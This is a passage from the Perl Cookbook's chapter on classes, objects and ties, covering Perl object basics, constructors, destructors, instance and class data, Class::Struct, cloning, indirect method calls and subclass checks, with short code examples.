Previous: 12.18. Example: Module Template | Perl Cookbook | Next: 13. Classes, Objects, and Ties
12.18. Example: Module Template | Book Index | 13. Classes, Objects, and Ties


[Chapter 13] Classes, Objects, and Ties

Perl CookbookSearch this book
Previous: 12.19. Program: Finding Versions and Descriptions of Installed Modules Chapter 13 Next: 13.1. Constructing an Object

13. Classes, Objects, and Ties

Contents:
Introduction
Constructing an Object
Destroying an Object
Managing Instance Data
Managing Class Data
Using Classes as Structs
Cloning Objects
Calling Methods Indirectly
Determining Subclass Membership
Writing an Inheritable Class
Accessing Overridden Methods
Generating Attribute Methods Using AUTOLOAD
Solving the Data Inheritance Problem
Coping with Circular Data Structures
Overloading Operators
Creating Magic Variables with tie

All the world over, I will back the masses against the classes.

- William E. Gladstone Speech at Liverpool, 28 June 1886

13.0. Introduction

Along with references and modules, release 5.000 of Perl added objects. As usual, Perl doesn't try to enforce one true style but embraces many. This helps more people do their job the way they want to do it.

You don't have to use objects to write programs, unlike Java, where programs are instances of objects. If you want to, though, you can write Perl programs that use nearly every weapon in the object-oriented arsenal. Perl supports classes and objects, single and multiple inheritance, instance methods and class methods, access to overridden methods, constructors and destructors, operator overloading, proxy methods through autoloading, delegation, a rooted hierarchy for all objects, and two levels of garbage collection.

You can use as many or as few object-oriented techniques as you want and need. Ties are the only parts of Perl where you must use object orientation. And even then, only the module implementor need be aware of this; the casual user gets to remain blissfully unaware of the internal mechanics. Ties, discussed in Recipe 13.15, let you transparently intercept access to a variable. For example, you can use ties to make a hash that allows lookups by key or value.

Under the Hood

If you ask ten people what object orientation is, you'll get ten different answers. People bandy about terms like abstraction and encapsulation, trying to isolate the basic units of object-oriented programming languages and give them big names to write papers and books about. Not all object-oriented languages offer the same features, yet they are still deemed object-oriented. This, of course, produces more papers and books.

We'll follow the nomenclature used in Perl's documentation, the perlobj (1) manpage, and Chapter 5 of Programming Perl, "Libraries, Modules, and Classes." An object is a variable that belongs to a class. Methods are functions associated with a class or object. In Perl, a class is a package - and usually a module. An object is a reference to something that's been blessed into a class. Blessing associates a referent with a class. This is done with the bless function, which takes one or two arguments. The first is a reference to the thing to bless, and the optional second argument is the package to bless it into.

$object = {};                       # hash reference
bless($object, "Data::Encoder");    # bless $object into Data::Encoder class
bless($object);                     # bless $object into current package

The class name is the package name (Data::Encoder in the example above). Because classes are modules (usually), the code for the Data::Encoder class resides in the file Data/Encoder.pm. As with traditional modules, the directory structure is purely for convenience; it implies nothing about inheritance, variable sharing, or anything else. Unlike a traditional module, though, an object module seldom if ever uses the Exporter. Access should be through method calls only, not imported functions or variables.

Once an object has been blessed, calling the ref function on its reference returns the name of its class instead of the fundamental type of referent:

$obj = [3,5];
print ref($obj), " ", $obj->[1], "\n";
bless($obj, "Human::Cannibal");
print ref($obj), " ", $obj->[1], "\n";

ARRAY 5
Human::Cannibal 5

As you can see, you can still dereference a reference once it has been blessed. Most frequently, objects are implemented as blessed hash references. You may use any kind of reference you want, but hash references are the most flexible. They let you have arbitrarily named data fields in an object.

$obj->{Stomach} = "Empty";   # directly accessing an object's contents
$obj->{NAME}    = "Thag";        # uppercase field name to make it stand out (optional)

Although Perl permits it, it's considered poor form for any code outside the class to directly access the contents of an object. The point of objects, everyone agrees, is to give you a nominally opaque handle to something that you access through designated methods only. This lets the maintainer of the class change its implementation without needing to change all application code that uses the class.

Methods

To call a method, use ->. Here, we call the encode() method of $object with the argument "data" and store the return value in $encoded :

$encoded = $object->encode("data");

This is an object method, because we call the method on an object. We can also have class methods, methods called on class names.

$encoded = Data::Encoder->encode("data");

Invoking a method calls the function in the corresponding class, implicitly passing as the initial argument either a reference for object methods or a string for class methods. Recipe 13.7 shows how to make method calls where the method is determined at runtime.

Most classes provide constructor methods, which return new objects. Unlike some object-oriented languages, constructor methods in Perl are not specially named. In fact, you can name them anything you like. C++ programmers have a penchant for calling their constructors in Perl new. We recommend that you name your constructors whatever makes sense in the context of the problem you're solving. For example, constructors in the Tk extension to Perl are named after the widgets they create. A less common approach is to export a function with the same name as the class; see "Example: Overloaded StrNum Class" in Recipe 13.14 for an example.

A typical constructor looks like this:

sub new {
    my $class = shift;
    my $self  = {};         # allocate new hash for object
    bless($self, $class);
    return $self;
}

Call the constructor with:

$object = Class->new();

If there isn't any inheritance or other monkey business working behind the scenes, this is effectively the same as:

$object = Class::new("Class");

The new() function's first argument here is the class name to bless the new reference into. A constructor should pass that string as the second argument to bless().

Recipe 13.1 also talks about functions that return blessed references. Constructors don't have to be class methods, and writing object methods that return new objects have a number of uses, as discussed in Recipe 13.6.

A destructor is a subroutine that runs when an object's referent is garbage collected. Unlike constructors, you have no choice in naming it. You must name your destructor method DESTROY. This method, if it exists, will be called for all objects immediately prior to memory deallocation. Destructors, described in Recipe 13.2, are optional.

Some languages syntactically allow the compiler to restrict access to a class's methods. Perl does not - it allows code to call any method of an object. The author of a class should document clearly the public methods (those which may be used), and the user of a class should avoid undocumented (implicitly private) methods.

Perl doesn't distinguish between methods that can be called on a class (class methods) and methods that can be called on an object (instance methods). If you want a particular method to be called as a class method only, do something like this:

sub class_only_method {
    my $class = shift;
    die "class method called on object" if ref $class;
    # more code here
}

If you want to allow a particular method to be called as an instance method only, do something like this:

sub instance_only_method {
    my $self = shift;
    die "instance method called on class" unless ref $self;
    # more code here
}

If your code calls an undefined method on an object, Perl won't complain at compile time; the program will instead trigger an exception at run time. Likewise, the compiler can't catch situations where you pass a non-prime value to a method expecting a prime number. Methods are just function calls whose package is determined at run time. Like all indirect functions, they have no prototype checking - because that happens at compile time. Even if method calls were aware of prototypes, in Perl the compiler is unable to automatically check the precise types or ranges of arguments to functions. Perl prototypes are used to coerce a function argument's context, not to check ranges. Recipe 10.11 details Perl's strange perspective on prototypes.

You can prevent Perl from triggering an exception for undefined methods by using the AUTOLOAD mechanism to catch calls to nonexistent methods. We show an application of this in Recipe 13.11.

Inheritance

Inheritance defines a hierarchy of classes. Calls to methods not defined in a class search this hierarchy for a method of that name. The first method found is used. Inheritance means allowing one class to piggy-back on top of another so you don't have to write the same code again and again. This is a form of software reuse, and therefore related to Laziness, the principal virtue of a programmer.

Some languages provide special syntax for inheritance. In Perl, each class (package) can put its list of superclasses (parents in the hierarchy) into the package global (not a my) variable @ISA. This list is searched at runtime when a call is made to a method not defined in the object's class. If the first package listed in @ISA doesn't have the method but that package has its own @ISA, Perl looks first in that package's own @ISA, recursively, before going on.

If the inheritance search fails, the same check is run again, this time looking for a method named AUTOLOAD. The lookup sequence for $ob->meth(), where $ob is of class P, is:

  • P::meth

  • All packages S in @P::ISA, recursively, for any S::meth()

  • UNIVERSAL::meth

  • The P::AUTOLOAD subroutine

  • All packages S in @P::ISA, recursively, for any S::AUTOLOAD()

  • The UNIVERSAL::AUTOLOAD subroutine

Most classes have just one item in their @ISA array, a situation called single inheritance. Classes with more than one element in @ISA represent multiple inheritance. The benefits of multiple inheritance are widely contested, but it is supported by Perl.

Recipe 13.9 talks about the basics of inheritance and designing a class so it can be easily subclassed. In Recipe 13.10 we show how a subclass can call overridden methods in its superclasses.

Perl doesn't support inheritance of data values. A class can, but should not, touch another's data directly. This violates the envelope and ruins the abstraction. If you follow the advice in Recipes Recipe 13.10 and Recipe 13.12, this won't be much of an issue.

A Warning on Indirect Object Notation

The indirect notation for method calls:

$lector = new Human::Cannibal;
feed $lector "Zak";
move $lector "New York";

is an alternative syntax for:

$lector = Human::Cannibal->new();
$lector->feed("Zak");
$lector->move("New York");

This indirect object notation is appealing to English speakers and familiar to C++ programmers (who use new this way). Do not be seduced. It has two grave problems. One is that it follows the same quirky rules as the filehandle slot in print and printf:

printf STDERR "stuff here\n";

This slot, if filled, must contain a bare symbol, a block, or a scalar variable name; it can't be any old scalar expression. This can lead to horribly confusing precedence problems, as in these next two lines:

move $obj->{FIELD};                 # probably wrong
move $ary[$i];                      # probably wrong

Surprisingly, those actually parse as:

$obj->move->{FIELD};                # Surprise!
$ary->move->[$i];                   # Surprise!

rather than as you might have expected:

$obj->{FIELD}->move();              # Nope, you wish
$ary[$i]->move;                     # Nope, you wish

The second problem is that Perl must guess at compile time whether name and move are functions or methods. Usually Perl gets it right, but when it doesn't, you get a function call compiled as a method, or vice versa. This can introduce incredibly subtle bugs that are hard to unravel. The infix arrow notation using -> doesn't suffer from either of these disturbing ambiguities, so we recommend you use it exclusively.

Some Notes on Object Terminology

In the object-oriented world, many words describe only a few concepts. If you've programmed in another object-oriented language, you might like to know how familiar terms and concepts map onto Perl.

For example, it's common to call objects instances of a class and those objects' methods instance methods. Data fields peculiar to each object are often called instance data or object attributes, and data fields common to all members of that class are class data, class attributes, or static data members.

Also, base class, generic class, and superclass all describe the same notion (a parent or similar ancestor in the inheritance hierarchy), whereas derived class, specific class, and subclass describe the opposite relationship (a child or descendent in the inheritance hierarchy).

C++ programmers have static methods, virtual methods, and instance methods, but Perl only has class methods and object methods. Actually, Perl only has methods. Whether a method acts as a class or object method is determined solely by actual usage. You could call a class method (one expecting a string argument) on an object (one expecting a reference), or vice versa, but you shouldn't expect reasonable results if you do.

A C++ programmer thinks about global (class) constructors and destructors. These correspond to module initialization code and per-module END{} blocks respectively.

From the C++ perspective, all methods in Perl are virtual. This is why their arguments are never checked for function prototypes as regular built-in and user-defined functions can be. Prototypes are checked by the compiler at compile time. You can't determine until run time the function that a method has called.

Philosophical Aside

In its OO programming, Perl gives you a lot of freedom: the ability to do things more than one way (you can bless any data type to make an object), to inspect and modify classes you didn't write (adding functions to their packages), and to use these to write tangled pits of misery - if that's really what you want to do.

Less flexible programming languages are usually more restrictive. Many are fanatically devoted to enforced privacy, compile-time type checking, complex function signatures, and a smorgasbord of other features. Perl doesn't provide these things with objects because it doesn't provide them anywhere else, either. Keep this in mind if you find Perl's object-oriented implementation weird. You only think it's weird because you're used to another language's philosophy. Perl's treatment of OO is perfectly sensible - if you think in Perl. For every problem that you can't solve by writing Perl as though it were Java or C++, there is a native Perl solution that works perfectly. The absolutely paranoid programmer can even have complete privacy: the perltoot (1) manpage describes how to bless closures to produce objects that are as private as those in C++ (and more so).

Perl's objects are not wrong; they're differently right.

See Also

The general literature on object-oriented programming rarely refers directly to Perl. The documentation that came with Perl is a good place to begin learning about object-oriented programming, particularly the object tutorial perltoot (1). For a reference, read perlobj (1) and Chapter 5 of Programming Perl. You might need it when you read perlbot (1), which is full of object-oriented tricks.

Chapters 7 and 8 of Advanced Perl Programming includes a discussion of object-oriented programming in Perl for those who have encountered objects before.

Previous: 12.19. Program: Finding Versions and Descriptions of Installed Modules | Perl Cookbook | Next: 13.1. Constructing an Object
12.19. Program: Finding Versions and Descriptions of Installed Modules | Book Index | 13.1. Constructing an Object


Recipe 13.1. Constructing an Object

Perl CookbookSearch this book

13.1. Constructing an Object

Problem

You want to create a way for your users to generate new objects.

Solution

Make a constructor. In Perl, the constructor method must not only initialize its object, but must also first allocate memory for it, typically using an anonymous hash. C++ constructors, on the other hand, are called with memory already allocated. The rest of the object-oriented world would call C++'s constructors initializers.

Here's the canonical object constructor in Perl:

sub new {
    my $class = shift;
    my $self  = { };
    bless($self, $class);
    return $self;
}

This is the equivalent one-liner:

sub new { bless( { }, shift ) }

Discussion

Any method that allocates and initializes a new object acts as a constructor. The most important thing to remember is that a reference isn't an object until bless has been called on it. The simplest possible constructor, although not particularly useful, is the following:

sub new { bless({}) }

Let's add some initialization:

sub new {
    my $self = { };  # allocate anonymous hash
    bless($self);
    # init two sample attributes/data members/fields
    $self->{START} = time();
    $self->{AGE}   = 0;
    return $self;
}

This constructor isn't very useful because it uses the single-argument form of bless, which always blesses the object into the current package. This means it can't be usefully inherited from; objects it constructs will always be blessed into the class that the new function was compiled into. In the case of inheritance, this is not necessarily the class on whose behalf the method was invoked.

To solve this, have the constructor heed its first argument. For a class method, this is the package name. Pass this class name as the second argument to bless:

sub new {
    my $classname  = shift;         # What class are we constructing?
    my $self      = {};             # Allocate new memory
    bless($self, $classname);       # Mark it of the right type
    $self->{START}  = time();       # init data fields
    $self->{AGE}    = 0;
    return $self;                   # And give it back
}

Now the constructor can be correctly inherited by a derived class.

You might also want to separate the memory allocation and blessing step from the instance data initialization step. Simple classes won't need this, but it makes inheritance easier; see Recipe 13.10.

sub new {
    my $classname  = shift;         # What class are we constructing?
    my $self      = {};             # Allocate new memory
    bless($self, $classname);       # Mark it of the right type
    $self->_init(@_);               # Call _init with remaining args
    return $self;
}

# "private" method to initialize fields.  It always sets START to
# the current time, and AGE to 0.  If called with arguments, _init
# interprets them as key+value pairs to initialize the object with.
sub _init {
    my $self = shift;
    $self->{START} = time();
    $self->{AGE}   = 0;
    if (@_) {
        my %extra = @_;
        @$self{keys %extra} = values %extra;
    }
}

See Also

perltoot (1) and perlobj (1); Chapter 5 of Programming Perl; Recipe 13.6; Recipe 13.9; Recipe 13.10

Previous: 13.0. Introduction | Perl Cookbook | Next: 13.2. Destroying an Object
13.0. Introduction | Book Index | 13.2. Destroying an Object


Recipe 13.2. Destroying an Object

Perl CookbookSearch this book

13.2. Destroying an Object

Problem

You want to run special code whenever an object is no longer used. This is sometimes needed when the object is an interface to the outside world - or contains circular data structures - and must clean up after itself. You might remove temporary files, break circular links, gracefully disconnect from a socket, or kill a spawned subprocess.

Solution

Create a method named DESTROY. This will be called when there are no more references to the object, or else when the program shuts down, whichever comes first. You don't need to do any memory deallocation here, just any finalization code if it makes sense for the class.

sub DESTROY {
    my $self = shift;
    printf("$self dying at %s\n", scalar localtime);
}

Discussion

Every story has a beginning and an end. The beginning of the object's story is its constructor, explicitly called when the object comes into existence. The end of its story is the destructor, a method implicitly called when an object leaves this life. Any per-object clean-up code is placed in the destructor, which must be named DESTROY.

Why can't destructors have arbitrary names? Because, although a constructor is explicitly called by name, a destructor is not. Destruction happens automatically via Perl's garbage collection (GC) system, which is currently implemented as a quick but lazy reference-based GC system. To know what to call, Perl insists that the destructor be named DESTROY. If more than one object goes out of scope at once, Perl doesn't promise to call the destructors in a particular order.

Why is DESTROY in all caps? Perl on occasion uses purely uppercase function names as a convention to indicate that the function will be automatically called by Perl. Others that are called implicitly include BEGIN, END, AUTOLOAD, plus all methods used by tied objects (see Recipe 13.15), like STORE and FETCH.

The user doesn't care when the destructor is called. It just happens when it's supposed to. In languages without any form of GC, this is undependable, so the programmer must explicitly call the destructor to clean up memory and state, crossing their fingers that it's the right time to do so. This is a terrible state of affairs.

Because of Perl's automatic memory management, an object destructor is rarely needed in Perl. Even when it is, explicit invocation is not only uncalled for, it's downright dangerous. The destructor will be called by the run-time system when the object is no longer in use. Most classes don't need a destructor because Perl takes care of simple matters like memory deallocation.

The only situation where Perl's reference-based garbage collection system won't work for you is when there's a circularity in your data structure, such as:

$self->{WHATEVER} = $self;

In that case, you must delete the self-reference manually if you expect your program not to leak memory. While admittedly error-prone, this is the best we can do right now. Recipe 13.13 provides an elegant solution to this problem, however. Nonetheless, rest assured that when your program is finished, its objects' destructors are all duly called. At interpreter shutdown time, a second, more sweeping form of garbage collection is performed. Not even unreachable or circular objects can escape this final destruction. So you are guaranteed that an object eventually gets properly destroyed, unless a program never exits. If you're running Perl embedded in another application, the second GC pass happens more frequently - whenever an interpreter shuts down.

DESTROY does not get called when a program exits via an exec call.

See Also

perltoot (1) and perlobj (1); the section "A Note on Garbage Collection" in Chapter 5 of Programming Perl; Recipe 13.10; Recipe 13.13

Previous: 13.1. Constructing an Object | Perl Cookbook | Next: 13.3. Managing Instance Data
13.1. Constructing an Object | Book Index | 13.3. Managing Instance Data


Recipe 13.3. Managing Instance Data

Perl CookbookSearch this book

13.3. Managing Instance Data

Problem

Each data attribute of an object, sometimes called data members or properties, needs its own method for access. How do you write these functions to manipulate the object's instance data?

Solution

Either write pairs of get and set methods that affect the appropriate key in the object hash, like this:

sub get_name {
    my $self = shift;
    return $self->{NAME};
}

sub set_name {
    my $self      = shift;
    $self->{NAME} = shift;
}

Or, make single methods that do both jobs depending on whether they're passed an argument:

sub name {
    my $self = shift;
    if (@_) { $self->{NAME} = shift }
    return $self->{NAME};
}

Sometimes, it's useful to return the previous value when setting a new value:

sub age {
    my $self = shift;
    my $prev = $self->{AGE};
    if (@_) { $self->{AGE} = shift }
    return $prev;
}
# sample call of get and set: happy birthday!
$obj->age( 1 + $obj->age );

Discussion

Methods are how you implement the public interface to the object. A proper class doesn't encourage anyone to poke around inside its innards. Each data attribute should have a method to update it, retrieve it, or both. If a user writes code like this:

$him = Person->new();
$him->{NAME} = "Sylvester";
$him->{AGE}  = 23;

then they have violated the interface, so deserve whatever they get.

For nominally private data elements, you may omit methods that access them.

By mandating a strictly functional interface, you are free to alter your internal representation later without fear of breaking code. The functional interface allows you to run arbitrary range checks and take care of any data reformatting or conversion.

Here's a fancy version of the name method that demonstrates this:

use Carp;
sub name {
    my $self = shift;
    return $self->{NAME} unless @_;
    local $_ = shift;
    croak "too many arguments" if @_;
    if ($^W) {
        /[^\s\w'-]/         && carp "funny characters in name";
        /\d/                && carp "numbers in name";
        /\S+(\s+\S+)+/      || carp "prefer multiword name";
        /\S/                || carp "name is blank";
    }
    s/(\w+)/\u\L$1/g;       # enforce capitalization
    $self->{NAME} = $_;
}

If users, even other classes through inheritance, had been accessing the "NAME" field directly, you couldn't add this kind of code later. By insisting on only indirect, functional access to all data attributes, you keep your options open.

If you're used to C++ objects, then you're accustomed to being able to get at an object's data members as simple variables from within a method. The Alias module from CPAN provides for this, as well as a good bit more, such as the possibility of private methods that the object can call but folks outside the class cannot.

Here's an example of creating a Person using the Alias module. When you update these magical instance variables, you automatically update value fields in the hash. Convenient, eh?

package Person;

# this is the same as before...
sub new {
     my $that  = shift;
     my $class = ref($that) || $that;
     my $self = {
           NAME  => undef,
           AGE   => undef,
           PEERS => [],
    };
    bless($self, $class);
    return $self;
}

use Alias qw(attr);
use vars qw($NAME $AGE @PEERS);

sub name {
    my $self = attr shift;
    if (@_) { $NAME = shift; }
    return    $NAME;
};

sub age {
    my $self = attr shift;
    if (@_) { $AGE = shift; }
    return    $AGE;
}

sub peers {
    my $self = attr shift;
    if (@_) { @PEERS = @_; }
    return    @PEERS;
}

sub exclaim {
    my $self = attr shift;
    return sprintf "Hi, I'm %s, age %d, working with %s",
            $NAME, $AGE, join(", ", @PEERS);
}

sub happy_birthday {
    my $self = attr shift;
    return ++$AGE;
}

You need use vars because Alias plays with package globals by the same names as the fields. To use globals while use strict is in effect, you have to predeclare them. These variables are localized to the block enclosing the attr( ) call, just as though local were used on them. That means that they're still considered global package variables with temporary values.

See Also

perltoot (1), perlobj (1), and perlbot (1); Chapter 5 of Programming Perl; the documentation for the Alias module from CPAN; Recipe 13.11; Recipe 13.12

Previous: 13.2. Destroying an Object | Perl Cookbook | Next: 13.4. Managing Class Data
13.2. Destroying an Object | Book Index | 13.4. Managing Class Data


Recipe 13.4. Managing Class Data

Perl CookbookSearch this book

13.4. Managing Class Data

Problem

You need a method to be called on behalf of the whole class, not just on one object. This might be a procedural request, or it might be a global data attribute shared by all instances of the class.

Solution

Instead of expecting a reference as their first argument as object methods do, class methods expect a string containing name of the class. Class methods access package data, not object data, as in the population method shown here:

package Person;

$Body_Count = 0;

sub population { return $Body_Count }

sub new {                                   # constructor
    $Body_Count++;
    return bless({}, shift);
}

sub DESTROY { --$BodyCount }                # destructor

# later, the user can say this:
package main;

for (1..10) { push @people, Person->new }
printf "There are %d people alive.\n", Person->population();

There are 10 people alive.

Discussion

Normally, each object has its own complete state stored within itself. The value of a data attribute in one object is unrelated to the value that attribute might have in another instance of the same class. For example, setting her gender here does nothing to his gender, because they are different objects with distinct states:

$him = Person->new();
$him->gender("male");

$her = Person->new();
$her->gender("female");

Imagine a classwide attribute where changing the attribute for one instance changes it for all of them. Just as some programmers prefer capitalized global variables, some prefer uppercase names when the method affects class data instead of instance data. Here's an example of using a class method called Max_Bounds:

FixedArray->Max_Bounds(100);                # set for whole class
$alpha = FixedArray->new();
printf "Bound on alpha is %d\n", $alpha->Max_Bounds();
100
$beta = FixedArray->new();
$beta->Max_Bounds(50);                      # still sets for whole class
printf "Bound on alpha is %d\n", $alpha->Max_Bounds();
50

The implementation is simple:

package FixedArray;
$Bounds = 7;  # default
sub new { bless( {}, shift ) }
sub Max_Bounds {
    my $proto  = shift;
    $Bounds    = shift if @_;          # allow updates
    return $Bounds;
}

To make the value effectively read only, simply remove the update possibility, as in:

sub Max_Bounds { $Bounds }

If you're deeply paranoid, make $Bounds a lexical variable private to the scope of the file containing the class. Then no one could say $FixedArray::Bounds to discover its values. They'd be forced to go through the method interface instead.

Here's a tip to help build scalable classes: store object data on the object's namespace (in the hash), and store class data in the class namespace (package variables or file-scoped lexicals). Only class methods should directly access classwide attributes. Object methods should only access instance data. If the object method needs access to class data, its constructor should store a reference to that data in the object. Here's an example:

sub new {
    my $class = shift;
    my $self = bless({}, $class);
    $self->{Max_Bounds_ref} = \$Bounds;
    return $self;
}

See Also

perltoot (1), perlobj (1), and perlbot (1); the section on "Class Context and the Object" in Chapter 5 of Programming Perl; Recipe 13.3; the places method in the "Example: Overloaded FixNum Class" example in Recipe 13.14

Previous: 13.3. Managing Instance Data | Perl Cookbook | Next: 13.5. Using Classes as Structs
13.3. Managing Instance Data | Book Index | 13.5. Using Classes as Structs


Recipe 13.5. Using Classes as Structs

Perl CookbookSearch this book

13.5. Using Classes as Structs

Problem

You're used to structured data types more complex than Perl's arrays and hashes, such as C's structs and Pascal's records. You've heard that Perl's classes are comparable, but you aren't an object-oriented programmer.

Solution

Use the standard Class::Struct module to declare C-like structures:

use Class::Struct;          # load struct-building module

struct Person => {          # create a definition for a "Person"
    name   => '$',          #    name field is a scalar
    age    => '$',          #    age field is also a scalar
    peers  => '@',          #    but peers field is an array (reference)
};

my $p = Person->new();      # allocate an empty Person struct

$p->name("Jason Smythe");                   # set its name field
$p->age(13);                                # set its age field
$p->peers( ["Wilbur", "Ralph", "Fred" ] );  # set its peers field

# or this way:
@{$p->peers} = ("Wilbur", "Ralph", "Fred");

# fetch various values, including the zeroth friend
printf "At age %d, %s's first friend is %s.\n",
    $p->age, $p->name, $p->peers(0);

Discussion

The Class::Struct::struct function builds struct-like classes on the fly. It creates a class of the name given in the first argument, and gives the class a constructor named new and per-field accessor methods.

In the structure layout definition, the keys are the names of the fields and the values are the data type. This type can be one of the three base types, '$' for scalars, '@' for arrays, and '%' for hashes. Each accessor method can be called without arguments to fetch the current value, or with an argument to set the value. In the case of a field whose type is an array or hash, a zero-argument method call returns a reference to the entire array or hash, a one-argument call retrieves the value at that subscript,[1] and a two-argument call sets the value at that subscript.

[1] Unless it's a reference, in which case it uses that as the new aggregate, with type checking.

The type can even be the name of another named structure - or any class, for that matter - which provides a constructor named new.

use Class::Struct;

struct Person => {name => '$',      age  => '$'};
struct Family => {head => 'Person', address => '$', members => '@'};

$folks  = Family->new();
$dad    = $folks->head;
$dad->name("John");
$dad->age(34);

printf("%s's age is %d\n", $folks->head->name, $folks->head->age);

If you'd like to impose more parameter checking on the fields' values, supply your own version for the accessor method to override the default version. Let's say you wanted to make sure the age value contains only digits, and that it falls within reasonably human age requirements. Here's how that function might be coded:

sub Person::age {
    use Carp;
    my ($self, $age) = @_;
    if    (@_  > 2) {  confess "too many arguments" }
    elsif (@_ == 1) {  return $struct->{'age'}      }
    elsif (@_ == 2) {
        carp "age `$age' isn't numeric"   if $age !~ /^\d+/;
        carp "age `$age' is unreasonable" if $age > 150;
        $self->{'age'} = $age;
    }
}

If you want to provide warnings only when the -w command-line flag is used, check the $^W variable:

if ($^W) {
    carp "age `$age' isn't numeric"   if $age !~ /^\d+/;
    carp "age `$age' is unreasonable" if $age > 150;
}

If you want to complain if -w is set, but to raise an exception if the user doesn't ask for warnings, do something like the following. Don't be confused by the pointer arrow; it's an indirect function call, not a method call.

my $gripe = $^W ? \&carp : \&croak;
$gripe->("age `$age' isn't numeric")   if $age !~ /^\d+/;
$gripe->("age `$age' is unreasonable") if $age > 150;

Internally, the class is implemented using a hash, as most classes are. This makes your code easy to debug and manipulate. Consider the effect of printing out a structure in the debugger, for example. But the Class::Struct module also supports an array representation. Just specify the fields within square brackets instead of curly ones:

struct Family => [head => 'Person', address => '$', members => '@'];

Empirical evidence suggests that selecting the array representation instead of a hash trims between 10% and 50% off the memory consumption of your objects, and up to 33% of the access time. The cost is less informative debugging information and more mental overhead when writing override functions, such as Person::age above. Choosing an array representation for the object would make it difficult to use inheritance. That's not an issue here, because C-style structures employ the much more easily understood notion of aggregation instead.

The use fields pragma in the 5.005 release of Perl provides the speed and space arrays with the expressiveness of hashes, and adds compile-time checking of an object's field names.

If all the fields are the same type, rather than writing it out this way:

struct Card => {
    name    => '$',
    color   => '$',
    cost    => '$',
    type    => '$',
    release => '$',
    text    => '$',
};

you could use a map to shorten it:

struct Card => map { $_ => '$' } qw(name color cost type release text);

Or, if you're a C programmer who prefers to precede the field name with its type, rather than vice-versa, just reverse the order:

struct hostent => { reverse qw{
    $ name
    @ aliases
    $ addrtype
    $ length
    @ addr_list
}};

You can even make aliases, in the (dubious) spirit of #define, that allow the same field to be accessed under multiple aliases. In C you can say:

#define h_type h_addrtype
#define h_addr h_addr_list[0]

In Perl, you might try this:

# make (hostent object)->type() same as (hostent object)->addrtype()
*hostent::type = \&hostent::addrtype;

# make (hostenv object)->addr() same as (hostenv object)->addr_list(0)
sub hostent::addr { shift->addr_list(0,@_) }

As you see, you can add methods to a class - or functions to a package - simply by declaring a subroutine in the right namespace. You don't have to be in the file defining the class, subclass it, or do anything fancy and complicated. It would be much better to subclass it, however:

package Extra::hostent;
use Net::hostent;
@ISA = qw(hostent);
sub addr { shift->addr_list(0,@_) }
1;

That one's already available in the standard Net::hostent class, so you needn't bother. Check out that module's source code as a form of inspirational reading. We can't be held responsible for what it inspires you to do, though.

See Also

perltoot (1), perlobj (1), and perlbot (1); the documentation for the standard Class::Struct module; the source code for the standard Net::hostent module; the documentation for the Alias module from CPAN; Recipe 13.3

Previous: 13.4. Managing Class Data | Perl Cookbook | Next: 13.6. Cloning Objects
13.4. Managing Class Data | Book Index | 13.6. Cloning Objects


Recipe 13.6. Cloning Objects

Perl CookbookSearch this book

13.6. Cloning Objects

Problem

You want to write a constructor method that might be called on an existing object.

Solution

Start your constructor like this:

my $proto  = shift;
my $class  = ref($proto) || $proto;
my $parent = ref($proto) && $proto;

The $class variable will contain the class to bless into, and the $parent variable will either be false, or else the object you're cloning.

Discussion

Sometimes you need another object of the same type as the current one. You could do this:

$ob1 = SomeClass->new();
# later on
$ob2 = (ref $ob1)->new();

but that's not very clear. It's clearer to have a single constructor that can be called on the class or an existing object. As a class method, it should return a new object with the default initialization. As an instance method, it should return a new object initialized from the object it was called on:

$ob1 = Widget->new();
$ob2 = $ob1->new();

Here's a version of new that takes this into consideration:

sub new {
    my $proto  = shift;
    my $class  = ref($proto) || $proto;
    my $parent = ref($proto) && $proto;

    my $self;
    # check whether we're shadowing a new from @ISA
    if (@ISA && $proto->SUPER::can('new') ) {
        $self = $proto->SUPER::new(@_);
    } else {
        $self = {};
        bless ($self, $proto);
    }
    bless($self, $class);

    $self->{PARENT}  = $parent;
    $self->{START}   = time();   # init data fields
    $self->{AGE}     = 0;
    return $self;
}

Initializing doesn't have to mean simply copying values from the parent. If you're writing a linked list or binary tree class, your constructor can return a new object linked into the list or tree, when called as an instance method.

See Also

perlobj (1) and Chapter 5 of Programming Perl; Recipe 13.1; Recipe 13.9; Recipe 13.13

Previous: 13.5. Using Classes as Structs | Perl Cookbook | Next: 13.7. Calling Methods Indirectly
13.5. Using Classes as Structs | Book Index | 13.7. Calling Methods Indirectly


Recipe 13.7. Calling Methods Indirectly

Perl CookbookSearch this book

13.7. Calling Methods Indirectly

Problem

You want to call a method by a name that isn't known until run time.

Solution

Store the method name as a string in a scalar variable and use it where you would use the real method name to the right of the arrow operator:

$methname = "flicker";
$obj->$methname(10);         # calls $ob->flicker(10);

# call three methods on the object, by name
foreach $m ( qw(start run stop) ) {
    $obj->$m();
}

Discussion

Sometimes you need to call a method whose name you've stored somewhere. You can't take the address of a method, but you can store its name. If you have a scalar variable $meth containing the method name, call the method on an object $crystal with $crystal->$meth().

@methods = qw(name rank serno);
%his_info = map { $_ => $ob->$_() } @methods;

# same as this:

%his_info = (
    'name'  => $ob->name(),
    'rank'  => $ob->rank(),
    'serno' => $ob->serno(),
);

If you're desperate to devise a way to get a method's address, you should try to rethink your algorithm. For example, instead of incorrectly taking \$ob->method(), which simply applies the backslash to that method's return value or values, do this:

my $fnref = sub { $ob->method(@_) };

Now when it's time to call that indirectly, you would use:

$fnref->(10, "fred");

and have it correctly really call:

$obj->method(10, "fred");

This works even if $ob has gone out of scope. This solution is much cleaner.

The code reference returned by the UNIVERSAL can() method should probably not be used as an indirect method call. That's because you have no reason to believe that this will be a valid method when applied to an object of an arbitrary class.

For example, this is highly dubious code:

$obj->can('method_name')->($obj_target, @arguments)
   if $obj_target->isa( ref $obj );

The problem is that the code ref returned by can might not be a valid method to be called on $obj2. It's probably safest to only test the can() method in a boolean expression.

See Also

perlobj (1); Recipe 11.8

Previous: 13.6. Cloning Objects | Perl Cookbook | Next: 13.8. Determining Subclass Membership
13.6. Cloning Objects | Book Index | 13.8. Determining Subclass Membership


Recipe 13.8. Determining Subclass Membership

Perl CookbookSearch this book

13.8. Determining Subclass Membership

Problem

You want to know whether an object is an instance of a particular class or that class's subclasses. Perhaps you want to decide whether a particular method can be called on an arbitrary object.

Solution

Use methods from the special UNIVERSAL class:

$obj->isa("HTTP::Message");                  # as object method
HTTP::Response->isa("HTTP::Message");       # as class method

if ($obj->can("method_name")) { .... }       # check method validity

Discussion

